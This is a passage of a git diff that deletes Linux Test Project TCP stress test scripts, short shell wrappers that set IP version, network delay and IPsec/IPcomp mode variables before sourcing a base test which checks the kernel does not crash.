-TCID=tcp6-uni-sackoff04 - -# The version of IP -IP_VER=6 - -# true, if network is delayed -DO_NET_DELAY=false - -# true, if ipsec is used -DO_IPSEC=true - -# IPsec Protocol -IPSEC_PROTO=esp - -# IPsec Mode -IPSEC_MODE=transport - -. tcp4-uni-sackoff01 diff --git a/ltp/testcases/network/stress/tcp/uni-sackoff/tcp6-uni-sackoff05 b/ltp/testcases/network/stress/tcp/uni-sackoff/tcp6-uni-sackoff05 deleted file mode 100644 index 7e0bd05d..00000000 --- a/ltp/testcases/network/stress/tcp/uni-sackoff/tcp6-uni-sackoff05 +++ /dev/null @@ -1,68 +0,0 @@ -#!/bin/sh - -################################################################################ -## ## -## Copyright (c) International Business Machines Corp., 2005 ## -## ## -## This program is free software; you can redistribute it and#or modify ## -## it under the terms of the GNU General Public License as published by ## -## the Free Software Foundation; either version 2 of the License, or ## -## (at your option) any later version. ## -## ## -## This program is distributed in the hope that it will be useful, but ## -## WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY ## -## or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License ## -## for more details. ## -## ## -## You should have received a copy of the GNU General Public License ## -## along with this program; if not, write to the Free Software ## -## Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA ## -## ## -## ## -################################################################################ -# -# File: -# tcp6-uni-sackoff05 -# -# Description: -# This test is simlar to tcp4-uni-sackoff01 except for the following: -# - The version of IP is IPv6 -# - IPsec(ESP), tunnel mode -# -# Setup: -# See testcases/network/stress/README -# -# Author: -# Mitsuru Chinen <mitch@jp.ibm.com> -# -# History: -# Oct 19 2005 - Created (Mitsuru Chinen) -# -#----------------------------------------------------------------------- -# Uncomment line below for debug output. -#trace_logic=${trace_logic:-"set -x"} -$trace_logic - -# -# Variables -- Changed by each uni-sackoff testcase -# - -# The test case ID -TCID=tcp6-uni-sackoff05 - -# The version of IP -IP_VER=6 - -# true, if network is delayed -DO_NET_DELAY=false - -# true, if ipsec is used -DO_IPSEC=true - -# IPsec Protocol -IPSEC_PROTO=esp - -# IPsec Mode -IPSEC_MODE=tunnel - -. tcp4-uni-sackoff01 diff --git a/ltp/testcases/network/stress/tcp/uni-sackoff/tcp6-uni-sackoff06 b/ltp/testcases/network/stress/tcp/uni-sackoff/tcp6-uni-sackoff06 deleted file mode 100644 index 9a7a7502..00000000 --- a/ltp/testcases/network/stress/tcp/uni-sackoff/tcp6-uni-sackoff06 +++ /dev/null @@ -1,68 +0,0 @@ -#!/bin/sh - -################################################################################ -## ## -## Copyright (c) International Business Machines Corp., 2005 ## -## ## -## This program is free software; you can redistribute it and#or modify ## -## it under the terms of the GNU General Public License as published by ## -## the Free Software Foundation; either version 2 of the License, or ## -## (at your option) any later version. ## -## ## -## This program is distributed in the hope that it will be useful, but ## -## WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY ## -## or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License ## -## for more details. ## -## ## -## You should have received a copy of the GNU General Public License ## -## along with this program; if not, write to the Free Software ## -## Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA ## -## ## -## ## -################################################################################ -# -# File: -# tcp6-uni-sackoff06 -# -# Description: -# This test is simlar to tcp4-uni-sackoff01 except for the following: -# - The version of IP is IPv6 -# - IPcomp, transport mode -# -# Setup: -# See testcases/network/stress/README -# -# Author: -# Mitsuru Chinen <mitch@jp.ibm.com> -# -# History: -# Oct 19 2005 - Created (Mitsuru Chinen) -# -#----------------------------------------------------------------------- -# Uncomment line below for debug output. -#trace_logic=${trace_logic:-"set -x"} -$trace_logic - -# -# Variables -- Changed by each uni-sackoff testcase -# - -# The test case ID -TCID=tcp6-uni-sackoff06 - -# The version of IP -IP_VER=6 - -# true, if network is delayed -DO_NET_DELAY=false - -# true, if ipsec is used -DO_IPSEC=true - -# IPsec Protocol -IPSEC_PROTO=ipcomp - -# IPsec Mode -IPSEC_MODE=transport - -. tcp4-uni-sackoff01 diff --git a/ltp/testcases/network/stress/tcp/uni-sackoff/tcp6-uni-sackoff07 b/ltp/testcases/network/stress/tcp/uni-sackoff/tcp6-uni-sackoff07 deleted file mode 100644 index 8a01cb4e..00000000 --- a/ltp/testcases/network/stress/tcp/uni-sackoff/tcp6-uni-sackoff07 +++ /dev/null @@ -1,68 +0,0 @@ -#!/bin/sh - -################################################################################ -## ## -## Copyright (c) International Business Machines Corp., 2005 ## -## ## -## This program is free software; you can redistribute it and#or modify ## -## it under the terms of the GNU General Public License as published by ## -## the Free Software Foundation; either version 2 of the License, or ## -## (at your option) any later version. ## -## ## -## This program is distributed in the hope that it will be useful, but ## -## WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY ## -## or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License ## -## for more details. ## -## ## -## You should have received a copy of the GNU General Public License ## -## along with this program; if not, write to the Free Software ## -## Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA ## -## ## -## ## -################################################################################ -# -# File: -# tcp6-uni-sackoff07 -# -# Description: -# This test is simlar to tcp4-uni-sackoff01 except for the following: -# - The version of IP is IPv6 -# - IPcomp, tunnel mode -# -# Setup: -# See testcases/network/stress/README -# -# Author: -# Mitsuru Chinen <mitch@jp.ibm.com> -# -# History: -# Oct 19 2005 - Created (Mitsuru Chinen) -# -#----------------------------------------------------------------------- -# Uncomment line below for debug output. -#trace_logic=${trace_logic:-"set -x"} -$trace_logic - -# -# Variables -- Changed by each uni-sackoff testcase -# - -# The test case ID -TCID=tcp6-uni-sackoff07 - -# The version of IP -IP_VER=6 - -# true, if network is delayed -DO_NET_DELAY=false - -# true, if ipsec is used -DO_IPSEC=true - -# IPsec Protocol -IPSEC_PROTO=ipcomp - -# IPsec Mode -IPSEC_MODE=tunnel - -. tcp4-uni-sackoff01 diff --git a/ltp/testcases/network/stress/tcp/uni-sackoff/tcp6-uni-sackoff08 b/ltp/testcases/network/stress/tcp/uni-sackoff/tcp6-uni-sackoff08 deleted file mode 100644 index 4e5b4d34..00000000 --- a/ltp/testcases/network/stress/tcp/uni-sackoff/tcp6-uni-sackoff08 +++ /dev/null @@ -1,62 +0,0 @@ -#!/bin/sh - -################################################################################ -## ## -## Copyright (c) International Business Machines Corp., 2005 ## -## ## -## This program is free software; you can redistribute it and#or modify ## -## it under the terms of the GNU General Public License as published by ## -## the Free Software Foundation; either version 2 of the License, or ## -## (at your option) any later version. ## -## ## -## This program is distributed in the hope that it will be useful, but ## -## WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY ## -## or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License ## -## for more details. ## -## ## -## You should have received a copy of the GNU General Public License ## -## along with this program; if not, write to the Free Software ## -## Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA ## -## ## -## ## -################################################################################ -# -# File: -# tcp6-uni-sackoff08 -# -# Description: -# This test is simlar to tcp4-uni-sackoff01 except for the following: -# - The version of IP is IPv6 -# - Network is delayed -# -# Setup: -# See testcases/network/stress/README -# -# Author: -# Mitsuru Chinen <mitch@jp.ibm.com> -# -# History: -# Oct 19 2005 - Created (Mitsuru Chinen) -# -#----------------------------------------------------------------------- -# Uncomment line below for debug output. -#trace_logic=${trace_logic:-"set -x"} -$trace_logic - -# -# Variables -- Changed by each uni-sackoff testcase -# - -# The test case ID -TCID=tcp6-uni-sackoff08 - -# The version of IP -IP_VER=6 - -# true, if network is delayed -DO_NET_DELAY=true - -# true, if ipsec is used -DO_IPSEC=false - -. tcp4-uni-sackoff01 diff --git a/ltp/testcases/network/stress/tcp/uni-sackoff/tcp6-uni-sackoff09 b/ltp/testcases/network/stress/tcp/uni-sackoff/tcp6-uni-sackoff09 deleted file mode 100644 index a8f81b1f..00000000 --- a/ltp/testcases/network/stress/tcp/uni-sackoff/tcp6-uni-sackoff09 +++ /dev/null @@ -1,69 +0,0 @@ -#!/bin/sh - -################################################################################ -## ## -## Copyright (c) International Business Machines Corp., 2005 ## -## ## -## This program is free software; you can redistribute it and#or modify ## -## it under the terms of the GNU General Public License as published by ## -## the Free Software Foundation; either version 2 of the License, or ## -## (at your option) any later version. ## -## ## -## This program is distributed in the hope that it will be useful, but ## -## WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY ## -## or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License ## -## for more details. ## -## ## -## You should have received a copy of the GNU General Public License ## -## along with this program; if not, write to the Free Software ## -## Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA ## -## ## -## ## -################################################################################ -# -# File: -# tcp6-uni-sackoff09 -# -# Description: -# This test is simlar to tcp4-uni-sackoff01 except for the following: -# - The version of IP is IPv6 -# - Network is delayed -# - IPsec(AH), transport mode -# -# Setup: -# See testcases/network/stress/README -# -# Author: -# Mitsuru Chinen <mitch@jp.ibm.com> -# -# History: -# Oct 19 2005 - Created (Mitsuru Chinen) -# -#----------------------------------------------------------------------- -# Uncomment line below for debug output. -#trace_logic=${trace_logic:-"set -x"} -$trace_logic - -# -# Variables -- Changed by each uni-sackoff testcase -# - -# The test case ID -TCID=tcp6-uni-sackoff09 - -# The version of IP -IP_VER=6 - -# true, if network is delayed -DO_NET_DELAY=true - -# true, if ipsec is used -DO_IPSEC=true - -# IPsec Protocol -IPSEC_PROTO=ah - -# IPsec Mode -IPSEC_MODE=transport - -. tcp4-uni-sackoff01 diff --git a/ltp/testcases/network/stress/tcp/uni-sackoff/tcp6-uni-sackoff10 b/ltp/testcases/network/stress/tcp/uni-sackoff/tcp6-uni-sackoff10 deleted file mode 100644 index 58e0902a..00000000 --- a/ltp/testcases/network/stress/tcp/uni-sackoff/tcp6-uni-sackoff10 +++ /dev/null @@ -1,69 +0,0 @@ -#!/bin/sh - -################################################################################ -## ## -## Copyright (c) International Business Machines Corp., 2005 ## -## ## -## This program is free software; you can redistribute it and#or modify ## -## it under the terms of the GNU General Public License as published by ## -## the Free Software Foundation; either version 2 of the License, or ## -## (at your option) any later version. ## -## ## -## This program is distributed in the hope that it will be useful, but ## -## WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY ## -## or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License ## -## for more details. ## -## ## -## You should have received a copy of the GNU General Public License ## -## along with this program; if not, write to the Free Software ## -## Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA ## -## ## -## ## -################################################################################ -# -# File: -# tcp6-uni-sackoff10 -# -# Description: -# This test is simlar to tcp4-uni-sackoff01 except for the following: -# - The version of IP is IPv6 -# - Network is delayed -# - IPsec(AH), tunnel mode -# -# Setup: -# See testcases/network/stress/README -# -# Author: -# Mitsuru Chinen <mitch@jp.ibm.com> -# -# History: -# Oct 19 2005 - Created (Mitsuru Chinen) -# -#----------------------------------------------------------------------- -# Uncomment line below for debug output. -#trace_logic=${trace_logic:-"set -x"} -$trace_logic - -# -# Variables -- Changed by each uni-sackoff testcase -# - -# The test case ID -TCID=tcp6-uni-sackoff10 - -# The version of IP -IP_VER=6 - -# true, if network is delayed -DO_NET_DELAY=true - -# true, if ipsec is used -DO_IPSEC=true - -# IPsec Protocol -IPSEC_PROTO=ah - -# IPsec Mode -IPSEC_MODE=tunnel - -. tcp4-uni-sackoff01 diff --git a/ltp/testcases/network/stress/tcp/uni-sackoff/tcp6-uni-sackoff11 b/ltp/testcases/network/stress/tcp/uni-sackoff/tcp6-uni-sackoff11 deleted file mode 100644 index 03e9bd51..00000000 --- a/ltp/testcases/network/stress/tcp/uni-sackoff/tcp6-uni-sackoff11 +++ /dev/null @@ -1,69 +0,0 @@ -#!/bin/sh - -################################################################################ -## ## -## Copyright (c) International Business Machines Corp., 2005 ## -## ## -## This program is free software; you can redistribute it and#or modify ## -## it under the terms of the GNU General Public License as published by ## -## the Free Software Foundation; either version 2 of the License, or ## -## (at your option) any later version. ## -## ## -## This program is distributed in the hope that it will be useful, but ## -## WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY ## -## or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License ## -## for more details. ## -## ## -## You should have received a copy of the GNU General Public License ## -## along with this program; if not, write to the Free Software ## -## Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA ## -## ## -## ## -################################################################################ -# -# File: -# tcp6-uni-sackoff11 -# -# Description: -# This test is simlar to tcp4-uni-sackoff01 except for the following: -# - The version of IP is IPv6 -# - Network is delayed -# - IPsec(ESP), transport mode -# -# Setup: -# See testcases/network/stress/README -# -# Author: -# Mitsuru Chinen <mitch@jp.ibm.com> -# -# History: -# Oct 19 2005 - Created (Mitsuru Chinen) -# -#----------------------------------------------------------------------- -# Uncomment line below for debug output. -#trace_logic=${trace_logic:-"set -x"} -$trace_logic - -# -# Variables -- Changed by each uni-sackoff testcase -# - -# The test case ID -TCID=tcp6-uni-sackoff11 - -# The version of IP -IP_VER=6 - -# true, if network is delayed -DO_NET_DELAY=true - -# true, if ipsec is used -DO_IPSEC=true - -# IPsec Protocol -IPSEC_PROTO=esp - -# IPsec Mode -IPSEC_MODE=transport - -. tcp4-uni-sackoff01 diff --git a/ltp/testcases/network/stress/tcp/uni-sackoff/tcp6-uni-sackoff12 b/ltp/testcases/network/stress/tcp/uni-sackoff/tcp6-uni-sackoff12 deleted file mode 100644 index 0e5b24b8..00000000 --- a/ltp/testcases/network/stress/tcp/uni-sackoff/tcp6-uni-sackoff12 +++ /dev/null @@ -1,69 +0,0 @@ -#!/bin/sh - -################################################################################ -## ## -## Copyright (c) International Business Machines Corp., 2005 ## -## ## -## This program is free software; you can redistribute it and#or modify ## -## it under the terms of the GNU General Public License as published by ## -## the Free Software Foundation; either version 2 of the License, or ## -## (at your option) any later version. ## -## ## -## This program is distributed in the hope that it will be useful, but ## -## WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY ## -## or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License ## -## for more details. ## -## ## -## You should have received a copy of the GNU General Public License ## -## along with this program; if not, write to the Free Software ## -## Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA ## -## ## -## ## -################################################################################ -# -# File: -# tcp6-uni-sackoff12 -# -# Description: -# This test is simlar to tcp4-uni-sackoff01 except for the following: -# - The version of IP is IPv6 -# - Network is delayed -# - IPsec(ESP), tunnel mode -# -# Setup: -# See testcases/network/stress/README -# -# Author: -# Mitsuru Chinen <mitch@jp.ibm.com> -# -# History: -# Oct 19 2005 - Created (Mitsuru Chinen) -# -#----------------------------------------------------------------------- -# Uncomment line below for debug output. -#trace_logic=${trace_logic:-"set -x"} -$trace_logic - -# -# Variables -- Changed by each uni-sackoff testcase -# - -# The test case ID -TCID=tcp6-uni-sackoff12 - -# The version of IP -IP_VER=6 - -# true, if network is delayed -DO_NET_DELAY=true - -# true, if ipsec is used -DO_IPSEC=true - -# IPsec Protocol -IPSEC_PROTO=esp - -# IPsec Mode -IPSEC_MODE=tunnel - -. tcp4-uni-sackoff01 diff --git a/ltp/testcases/network/stress/tcp/uni-sackoff/tcp6-uni-sackoff13 b/ltp/testcases/network/stress/tcp/uni-sackoff/tcp6-uni-sackoff13 deleted file mode 100644 index 94365bb9..00000000 --- a/ltp/testcases/network/stress/tcp/uni-sackoff/tcp6-uni-sackoff13 +++ /dev/null @@ -1,69 +0,0 @@ -#!/bin/sh - -################################################################################ -## ## -## Copyright (c) International Business Machines Corp., 2005 ## -## ## -## This program is free software; you can redistribute it and#or modify ## -## it under the terms of the GNU General Public License as published by ## -## the Free Software Foundation; either version 2 of the License, or ## -## (at your option) any later version. ## -## ## -## This program is distributed in the hope that it will be useful, but ## -## WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY ## -## or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License ## -## for more details. ## -## ## -## You should have received a copy of the GNU General Public License ## -## along with this program; if not, write to the Free Software ## -## Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA ## -## ## -## ## -################################################################################ -# -# File: -# tcp6-uni-sackoff13 -# -# Description: -# This test is simlar to tcp4-uni-sackoff01 except for the following: -# - The version of IP is IPv6 -# - Network is delayed -# - IPcomp, transport mode -# -# Setup: -# See testcases/network/stress/README -# -# Author: -# Mitsuru Chinen <mitch@jp.ibm.com> -# -# History: -# Oct 19 2005 - Created (Mitsuru Chinen) -# -#----------------------------------------------------------------------- -# Uncomment line below for debug output. -#trace_logic=${trace_logic:-"set -x"} -$trace_logic - -# -# Variables -- Changed by each uni-sackoff testcase -# - -# The test case ID -TCID=tcp6-uni-sackoff13 - -# The version of IP -IP_VER=6 - -# true, if network is delayed -DO_NET_DELAY=true - -# true, if ipsec is used -DO_IPSEC=true - -# IPsec Protocol -IPSEC_PROTO=ipcomp - -# IPsec Mode -IPSEC_MODE=transport - -. tcp4-uni-sackoff01 diff --git a/ltp/testcases/network/stress/tcp/uni-sackoff/tcp6-uni-sackoff14 b/ltp/testcases/network/stress/tcp/uni-sackoff/tcp6-uni-sackoff14 deleted file mode 100644 index fb3b1afc..00000000 --- a/ltp/testcases/network/stress/tcp/uni-sackoff/tcp6-uni-sackoff14 +++ /dev/null @@ -1,69 +0,0 @@ -#!/bin/sh - -################################################################################ -## ## -## Copyright (c) International Business Machines Corp., 2005 ## -## ## -## This program is free software; you can redistribute it and#or modify ## -## it under the terms of the GNU General Public License as published by ## -## the Free Software Foundation; either version 2 of the License, or ## -## (at your option) any later version. ## -## ## -## This program is distributed in the hope that it will be useful, but ## -## WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY ## -## or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License ## -## for more details. ## -## ## -## You should have received a copy of the GNU General Public License ## -## along with this program; if not, write to the Free Software ## -## Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA ## -## ## -## ## -################################################################################ -# -# File: -# tcp6-uni-sackoff14 -# -# Description: -# This test is simlar to tcp4-uni-sackoff01 except for the following: -# - The version of IP is IPv6 -# - Network is delayed -# - IPcomp, tunnel mode -# -# Setup: -# See testcases/network/stress/README -# -# Author: -# Mitsuru Chinen <mitch@jp.ibm.com> -# -# History: -# Oct 19 2005 - Created (Mitsuru Chinen) -# -#----------------------------------------------------------------------- -# Uncomment line below for debug output. -#trace_logic=${trace_logic:-"set -x"} -$trace_logic - -# -# Variables -- Changed by each uni-sackoff testcase -# - -# The test case ID -TCID=tcp6-uni-sackoff14 - -# The version of IP -IP_VER=6 - -# true, if network is delayed -DO_NET_DELAY=true - -# true, if ipsec is used -DO_IPSEC=true - -# IPsec Protocol -IPSEC_PROTO=ipcomp - -# IPsec Mode -IPSEC_MODE=tunnel - -. tcp4-uni-sackoff01 diff --git a/ltp/testcases/network/stress/tcp/uni-smallsend/00_Descriptions.txt b/ltp/testcases/network/stress/tcp/uni-smallsend/00_Descriptions.txt deleted file mode 100644 index 8f7b13d9..00000000 --- a/ltp/testcases/network/stress/tcp/uni-smallsend/00_Descriptions.txt +++ /dev/null @@ -1,124 +0,0 @@ -Verify that the kernel is not crashed by a connection disabling NAGLE algorithm - -tcp4-uni-smallsend01 - IPv4 - -tcp4-uni-smallsend02 - IPv4 - IPsec [ AH / transport ] - -tcp4-uni-smallsend03 - IPv4 - IPsec [ AH / tunnel ] - -tcp4-uni-smallsend04 - IPv4 - IPsec [ ESP / transport ] - -tcp4-uni-smallsend05 - IPv4 - IPsec [ ESP / tunnel ] - -tcp4-uni-smallsend06 - IPv4 - IPcomp [ transport ] - -tcp4-uni-smallsend07 - IPv4 - IPcomp [ tunnel ] - -tcp4-uni-smallsend08 - IPv4 - Network is delayed - -tcp4-uni-smallsend09 - IPv4 - IPsec [ AH / transport ] - Network is delayed - -tcp4-uni-smallsend10 - IPv4 - IPsec [ AH / tunnel ] - Network is delayed - -tcp4-uni-smallsend11 - IPv4 - IPsec [ ESP / transport ] - Network is delayed - -tcp4-uni-smallsend12 - IPv4 - IPsec [ ESP / tunnel ] - Network is delayed - -tcp4-uni-smallsend13 - IPv4 - IPcomp [ transport ] - Network is delayed - -tcp4-uni-smallsend14 - IPv4 - IPcomp [ tunnel ] - Network is delayed - - -tcp6-uni-smallsend01 - IPv6 - -tcp6-uni-smallsend02 - IPv6 - IPsec [ AH / transport ] - -tcp6-uni-smallsend03 - IPv6 - IPsec [ AH / tunnel ] - -tcp6-uni-smallsend04 - IPv6 - IPsec [ ESP / transport ] - -tcp6-uni-smallsend05 - IPv6 - IPsec [ ESP / tunnel ] - -tcp6-uni-smallsend06 - IPv6 - IPcomp [ transport ] - -tcp6-uni-smallsend07 - IPv6 - IPcomp [ tunnel ] - -tcp6-uni-smallsend08 - IPv6 - Network is delayed - -tcp6-uni-smallsend09 - IPv6 - IPsec [ AH / transport ] - Network is delayed - -tcp6-uni-smallsend10 - IPv6 - IPsec [ AH / tunnel ] - Network is delayed - -tcp6-uni-smallsend11 - IPv6 - IPsec [ ESP / transport ] - Network is delayed - -tcp6-uni-smallsend12 - IPv6 - IPsec [ ESP / tunnel ] - Network is delayed - -tcp6-uni-smallsend13 - IPv6 - IPcomp [ transport ] - Network is delayed - -tcp6-uni-smallsend14 - IPv6 - IPcomp [ tunnel ] - Network is delayed diff --git a/ltp/testcases/network/stress/tcp/uni-smallsend/Makefile b/ltp/testcases/network/stress/tcp/uni-smallsend/Makefile deleted file mode 100644 index de4bb0cd..00000000 --- a/ltp/testcases/network/stress/tcp/uni-smallsend/Makefile +++ /dev/null @@ -1,29 +0,0 @@ -# -# network/stress/tcp/uni-smallsend testcases Makefile. -# -# Copyright (C) 2009, Cisco Systems Inc. -# -# This program is free software; you can redistribute it and/or modify -# it under the terms of the GNU General Public License as published by -# the Free Software Foundation; either version 2 of the License, or -# (at your option) any later version. -# -# This program is distributed in the hope that it will be useful, -# but WITHOUT ANY WARRANTY; without even the implied warranty of -# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the -# GNU General Public License for more details. -# -# You should have received a copy of the GNU General Public License along -# with this program; if not, write to the Free Software Foundation, Inc., -# 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA. -# -# Ngie Cooper, October 2009 -# - -top_srcdir ?= ../../../../.. - -include $(top_srcdir)/include/mk/env_pre.mk - -INSTALL_TARGETS := tcp* - -include $(top_srcdir)/include/mk/generic_leaf_target.mk diff --git a/ltp/testcases/network/stress/tcp/uni-smallsend/tcp4-uni-smallsend01 b/ltp/testcases/network/stress/tcp/uni-smallsend/tcp4-uni-smallsend01 deleted file mode 100644 index b72983b6..00000000 --- a/ltp/testcases/network/stress/tcp/uni-smallsend/tcp4-uni-smallsend01 +++ /dev/null @@ -1,75 +0,0 @@ -#!/bin/sh - -################################################################################ -## ## -## Copyright (c) International Business Machines Corp., 2005 ## -## ## -## This program is free software; you can redistribute it and#or modify ## -## it under the terms of the GNU General Public License as published by ## -## the Free Software Foundation; either version 2 of the License, or ## -## (at your option) any later version. ## -## ## -## This program is distributed in the hope that it will be useful, but ## -## WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY ## -## or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License ## -## for more details. ## -## ## -## You should have received a copy of the GNU General Public License ## -## along with this program; if not, write to the Free Software ## -## Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA ## -## ## -## ## -################################################################################ -# -# File: -# tcp4-uni-smallsend01 -# -# Description: -# Verify that the kernel is not crashed with a connection to with -# the following condition: -# - The version of IP is IPv4 -# - Network is not delayed -# - IPsec is not used -# - Disable window scaling -# - Disable Nagle algorithm -# - Enable TCP Duplicate SACK support -# - Enable SACK Support -# - No packet are lost -# - Disable TSO if it is avalable -# -# *) This script may be read by the other test case -# -# Setup: -# See testcases/network/stress/README -# -# Author: -# Mitsuru Chinen <mitch@jp.ibm.com> -# -# History: -# Oct 19 2005 - Created (Mitsuru Chinen) -# -#----------------------------------------------------------------------- -# Uncomment line below for debug output. -#trace_logic=${trace_logic:-"set -x"} -$trace_logic - -# The test case ID, the test case count and the total number of test case -TCID=${TCID:-tcp4-uni-smallsend01} -TST_TOTAL=1 -TST_COUNT=1 -export TCID -export TST_COUNT -export TST_TOTAL - -# Test description -tst_resm TINFO "Verify that the kernel is not crashed by a connection disabling NAGLE algorithm" - -# Disable NAGLE algorithm -DO_SMALL_SEND=true - -# Load tcp4-uni-basic01 -NON_BASIC=true - -. tcp4-uni-basic01 - -exit 0 diff --git a/ltp/testcases/network/stress/tcp/uni-smallsend/tcp4-uni-smallsend02 b/ltp/testcases/network/stress/tcp/uni-smallsend/tcp4-uni-smallsend02 deleted file mode 100644 index c3aac436..00000000 --- a/ltp/testcases/network/stress/tcp/uni-smallsend/tcp4-uni-smallsend02 +++ /dev/null @@ -1,67 +0,0 @@ -#!/bin/sh - -################################################################################ -## ## -## Copyright (c) International Business Machines Corp., 2005 ## -## ## -## This program is free software; you can redistribute it and#or modify ## -## it under the terms of the GNU General Public License as published by ## -## the Free Software Foundation; either version 2 of the License, or ## -## (at your option) any later version. ## -## ## -## This program is distributed in the hope that it will be useful, but ## -## WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY ## -## or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License ## -## for more details. ## -## ## -## You should have received a copy of the GNU General Public License ## -## along with this program; if not, write to the Free Software ## -## Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA ## -## ## -## ## -################################################################################ -# -# File: -# tcp4-uni-smallsend02 -# -# Description: -# This test is simlar to tcp4-uni-smallsend01 except for the following: -# - IPsec(AH), transport mode -# -# Setup: -# See testcases/network/stress/README -# -# Author: -# Mitsuru Chinen <mitch@jp.ibm.com> -# -# History: -# Oct 19 2005 - Created (Mitsuru Chinen) -# -#----------------------------------------------------------------------- -# Uncomment line below for debug output. -#trace_logic=${trace_logic:-"set -x"} -$trace_logic - -# -# Variables -- Changed by each uni-smallsend testcase -# - -# The test case ID -TCID=tcp4-uni-smallsend02 - -# The version of IP -IP_VER=4 - -# true, if network is delayed -DO_NET_DELAY=false - -# true, if ipsec is used -DO_IPSEC=true - -# IPsec Protocol -IPSEC_PROTO=ah - -# IPsec Mode -IPSEC_MODE=transport - -. tcp4-uni-smallsend01 diff --git a/ltp/testcases/network/stress/tcp/uni-smallsend/tcp4-uni-smallsend03 b/ltp/testcases/network/stress/tcp/uni-smallsend/tcp4-uni-smallsend03 deleted file mode 100644 index e041fd8c..00000000 --- a/ltp/testcases/network/stress/tcp/uni-smallsend/tcp4-uni-smallsend03 +++ /dev/null @@ -1,67 +0,0 @@ -#!/bin/sh - -################################################################################ -## ## -## Copyright (c) International Business Machines Corp., 2005 ## -## ## -## This program is free software; you can redistribute it and#or modify ## -## it under the terms of the GNU General Public License as published by ## -## the Free Software Foundation; either version 2 of the License, or ## -## (at your option) any later version. ## -## ## -## This program is distributed in the hope that it will be useful, but ## -## WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY ## -## or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License ## -## for more details. ## -## ## -## You should have received a copy of the GNU General Public License ## -## along with this program; if not, write to the Free Software ## -## Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA ## -## ## -## ## -################################################################################ -# -# File: -# tcp4-uni-smallsend03 -# -# Description: -# This test is simlar to tcp4-uni-smallsend01 except for the following: -# - IPsec(AH), tunnel mode -# -# Setup: -# See testcases/network/stress/README -# -# Author: -# Mitsuru Chinen <mitch@jp.ibm.com> -# -# History: -# Oct 19 2005 - Created (Mitsuru Chinen) -# -#----------------------------------------------------------------------- -# Uncomment line below for debug output. -#trace_logic=${trace_logic:-"set -x"} -$trace_logic - -# -# Variables -- Changed by each uni-smallsend testcase -# - -# The test case ID -TCID=tcp4-uni-smallsend03 - -# The version of IP -IP_VER=4 - -# true, if network is delayed -DO_NET_DELAY=false - -# true, if ipsec is used -DO_IPSEC=true - -# IPsec Protocol -IPSEC_PROTO=ah - -# IPsec Mode -IPSEC_MODE=tunnel - -. tcp4-uni-smallsend01 diff --git a/ltp/testcases/network/stress/tcp/uni-smallsend/tcp4-uni-smallsend04 b/ltp/testcases/network/stress/tcp/uni-smallsend/tcp4-uni-smallsend04 deleted file mode 100644 index 96739181..00000000 --- a/ltp/testcases/network/stress/tcp/uni-smallsend/tcp4-uni-smallsend04 +++ /dev/null @@ -1,67 +0,0 @@ -#!/bin/sh - -################################################################################ -## ## -## Copyright (c) International Business Machines Corp., 2005 ## -## ## -## This program is free software; you can redistribute it and#or modify ## -## it under the terms of the GNU General Public License as published by ## -## the Free Software Foundation; either version 2 of the License, or ## -## (at your option) any later version. ## -## ## -## This program is distributed in the hope that it will be useful, but ## -## WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY ## -## or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License ## -## for more details. ## -## ## -## You should have received a copy of the GNU General Public License ## -## along with this program; if not, write to the Free Software ## -## Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA ## -## ## -## ## -################################################################################ -# -# File: -# tcp4-uni-smallsend04 -# -# Description: -# This test is simlar to tcp4-uni-smallsend01 except for the following: -# - IPsec(ESP), transport mode -# -# Setup: -# See testcases/network/stress/README -# -# Author: -# Mitsuru Chinen <mitch@jp.ibm.com> -# -# History: -# Oct 19 2005 - Created (Mitsuru Chinen) -# -#----------------------------------------------------------------------- -# Uncomment line below for debug output. -#trace_logic=${trace_logic:-"set -x"} -$trace_logic 